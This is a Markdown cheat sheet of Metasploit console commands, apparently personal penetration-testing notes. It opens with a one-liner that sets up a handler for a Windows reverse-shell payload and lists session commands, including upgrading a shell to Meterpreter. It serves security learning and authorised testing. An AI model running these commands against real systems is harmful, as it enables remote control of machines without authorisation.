56 lines
1.8 KiB
Markdown
56 lines
1.8 KiB
Markdown
## Top Commands
|
|
One Liner Meterpreter
|
|
```
|
|
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST IP; set LPORT PORT;exploit"
|
|
```
|
|
|
|
MSFconsole
|
|
```Terminal
|
|
#General
|
|
|
|
msfconsole ---> Start Metasploit
|
|
clear ---> Clear chat
|
|
help ---> Help info
|
|
use (x) ---> Use payload
|
|
search ---> Search payload
|
|
|
|
#Payload
|
|
|
|
set ---> Set element in the payload
|
|
unset ---> Unset element from the payload
|
|
setg ---> Set element (will stay on all payload until closed)
|
|
unsetg ---> Remove all element set from the other action
|
|
info ---> Check info about the payload
|
|
show options ---> Show options you need to set to launch the payload
|
|
show payload
|
|
set payload
|
|
exploit/run ---> Exploit
|
|
exploit -z ---> Exploit in background (or type CTRL Z)
|
|
sessions ---> Search the sessions
|
|
sessions -i ---> Connect to the first session that is enable
|
|
background ---> Backgrounds the current session
|
|
|
|
#Payload (POST)
|
|
|
|
sessions -u NUMBER ---> Turn Shell into Meterpreter session
|
|
|
|
#Others
|
|
|
|
systemctl start postgresql
|
|
msfdb init
|
|
db_status
|
|
workspace /-h/-a/-d (Help / View / Add / Delete)
|
|
help (Different then the normal help when launched with database)
|
|
db_nmap -X IP (Launch Nmap)
|
|
hosts /-h/ (reach information relevant to hosts and services running on target systems)
|
|
```
|
|
|
|
|
|
Payload Settings
|
|
```
|
|
LHOST eth0 (ex) ---> Set Local Host (Attacker)
|
|
LPORT ---> Set Local Port (Attacker)
|
|
RHOST ---> Set Remote Host (Target)
|
|
RPORT ---> Set Remote Port (Target)
|
|
...
|
|
``` |